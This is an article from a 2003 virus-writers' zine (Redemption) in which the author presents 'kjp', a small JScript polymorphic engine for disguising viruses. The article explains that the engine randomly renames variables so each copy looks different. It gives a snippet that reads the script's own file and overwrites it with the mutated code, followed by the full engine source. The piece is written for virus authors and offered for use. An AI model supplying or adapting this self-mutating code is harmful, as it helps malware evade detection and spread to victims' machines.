Redemption
Last article Table of contents Next article

kefi's jscript poly [kjp] by Kefi


                                                          	       April 17, 2003

   .Hello, everybody!  It's probably been a while since you've heard from me.  If so,
  don't feel bad.  I've been rather inactive in the scene lately as I've got a lot of
  personal problems to deal with...

   .Since chances are, you're a silly script-kitty (no offence), I  need to include a
  disclaimer in here.  If you're a  stupid ass, and you spread a virus  which uses my
  engine, I will hold no  responsibility  for it.  Nor will you ever accomplish anything
  other than irritating me.  In other words, "don't be a lame bastard."

   .Anyway, I'm glad you've decided  to check out my new polymorphic engine!  It's my
  favorite  one so far. :]  Basically  a re-make of kvpe, my  vbs poly, but  it's for
  javascript  instead.  At the time of  writing this, I  had thought  that it was the
  first of it's kind, however, later on Second Part To Hell (hello!) said that jackie
  had made one before me ... so, "good job, jackie!  you beat me to it!"  So, anyway,
  this thing's got to be the coolest js polymorphic engine, as  it's small (7 lines),
  fast, and easy to  understand (if you have  some prior  knowledge of javascript, of
  course).  How it  works is it loops  through an array of  variables, which you have
  in your script, then  generates a new, randomly  created variable.  After  it's got
  its new  variable, it searches for it  within your  virus's code and replaces the
  original  variable with the  new one.  To really understand it, I suggest  you just
  play with it for a while, I'm sure you'll understand it.

   .Now, in order to  use this poly, you'll  need to gather all  your code, and  then
  make a  call to the engine, then write the new stuff.  Here's a  really small, easy
  way to do this (uses the FileSystemObject ... ack):

   var objFso = new ActiveXObject("scripting.filesystemobject");
   var theCode = kjp(objFso.opentextfile(WScript.scriptfullname, 1).readall());
   objFso.opentextfile(WScript.scriptfullname, 2).write(theCode);

   ... You should understand that, if not, don't use my poly. :]

   .Well, that's all  I've got to say about this thing,  so once again, thank you for
  readin'  about it, and if you've  got any comments, questions, flames, or  whatever
  contact me:
   http   -- http://vx.netlux.org/~kefi/

   .Credits go out to:
  jackie              -- Making the first js-poly, good job, I guess!
  Second Part To Hell -- Thanks  for all your  javascirpt help  and telling me  about
                         jackie's poly!

                 (c)  by Kefi, April 17, 2003 // vx.netlux.org/~kefi

         Note: minor formating and changes in the text occured on: October 3rd, 2003
  .---------------------------------[jscript poly]----------------------------------.

function kjp(a1){
 a2 = new Array("kjp", "a1", "a2", "a3", "a4", "a5", "a6", "a7");
 for(a3 in a2){
  a4 = "";
  for(a5 = 0; a5 <Math.round(Math.random() * 6) + 4; a5++)
   a4 += String.fromCharCode(Math.round(Math.random() * 22) + 97);
  for(var a6 = 0; a6 <a1.length; a6++) a1 = a1.replace(a2[a3], a4);
 }
 return(a1);
}

executable engine